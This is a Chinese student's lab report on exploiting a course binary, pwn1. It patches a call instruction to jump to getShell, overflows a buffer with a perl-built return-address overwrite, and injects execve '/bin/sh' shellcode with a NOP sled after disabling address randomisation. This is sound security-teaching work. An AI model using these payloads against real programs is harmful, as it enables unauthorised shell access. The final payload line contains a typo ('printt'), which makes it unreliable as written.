Exp1 PC平台逆向破解 20165235 祁瑛

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

    基础知识

    NOPNOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
    JNE:条件转移指令,如果不相等则跳转。
    JE:条件转移指令,如果相等则跳转。
    JMP:无条件转移指令。段内直接短转Jmp short段内直接近转移Jmp near段内间接转移Jmp word( 段间直接(远)转移Jmp far
    CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

直接修改程序机器指令

创建学号文件夹:
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使用 objdump -d pwn20165235_1将pwn20165235_1反汇编,得到以下代码:
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80484b5: e8 d7 ff ff ff call 8048491 <foo>这条汇编指令,e8表示“call”,在main函数中调用位于地址8048491处的foo函数。如果想函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff
具体步骤如下:

  • vi pwn20165235_1进入命令模式
  • 输入:%!xxd将显示模式切换为十六进制
  • 在底行模式输入/e8d7定位需要修改的地方,并确认
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  • 进入插入模式,修改d7c3
  • 输入:%!xxd -r将十六进制转换为原格式
  • 使用:wq保存并退出

    运行修改后的代码:
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通过构造输入参数,造成BOF攻击

使用gdb进行调试,当输入为以下字符时发生段错误,产生溢出:
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查看寄存器里面的数据(eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出):
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输入字符串11111111222222223333333344444444555555555555会覆盖到堆栈上的返回地址,CPU会这个代码。只要把这四个字符替换为 getShell 的内存地址,输给pwn20165235_2,pwn1就会运行getShell。(由反汇编结果可知getShell的内存地址为:0804847d)。

使用perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input命令构造文件。然后使用指令(cat input ) | ./pwn20165235_2 运行程序:
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注入Shellcode并执行

首先使用apt-get install execstack命令安装execstack
输入图上所示的指令,关闭地址随机化:
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在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为\x4\x3\x2\x1):

perl -e 'print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
我们还不知到在\x4\x3\x2\x1充填什么数据,接下来的操作会找出这块数据:
首先在一个shell上运行pwn20165235_3((cat input ) | ./pwn20165235_3).然后再打开另一个shell,使用指令:ps ef | grep pwn20165235_3,查看运行中的pwn20165235所占用的端口号
查看完端口号在这个shell下打开gdb调试:
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设置断点,来查看注入buf的内存地址,使用break *0x080484ae设置断点,查看并输入c继续运行。打开运行pwn20165235_3的shell,按下回车,返回调试gdb的shell界面。使用info r esp查找地址。
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使用x/16x 0xffffd35c查看其存放内容,看到了01020304,就是返回地址的位置。
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根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd35c + 0x4=0xffffd360。接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可:

perl -e 'print "A" x 32;printt"\x60\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再执行程序,攻击成功:
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实验中遇到的问题,思考

遇到的问题:

在运行第三个实验时出现段错误:
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解决方法:在计算shellcode的地址时计算出错(加0x4计算失误)。

思考题

  • 什么是漏洞?漏洞有什么危害?
  • 我认为漏洞的种类有很多,一些事是在程序设计时的逻辑漏洞,比如缓冲区溢出,由于没有考虑到输入超出栈分配的空间的情况,被攻击者利用。还有一些漏洞是由于硬件的原因或者是协议的原因。还有一些漏洞可能是人为的,比如一些后门。他人可以利用这些漏洞未授权的访问计算机,任意的对文件进行操作或者是读取。

    实验感受

  • 通过本次的实验,掌握了反汇编以及机器指令的修改。其实在课堂上并没有掌握这些知识,只是知道大概怎么做而已。经过自己不断地实践操作,借鉴学长学学姐的实验指导,对缓冲区溢出攻击,堆栈是如何被恶意代码覆盖的有了足够的掌握。

05-04 01:08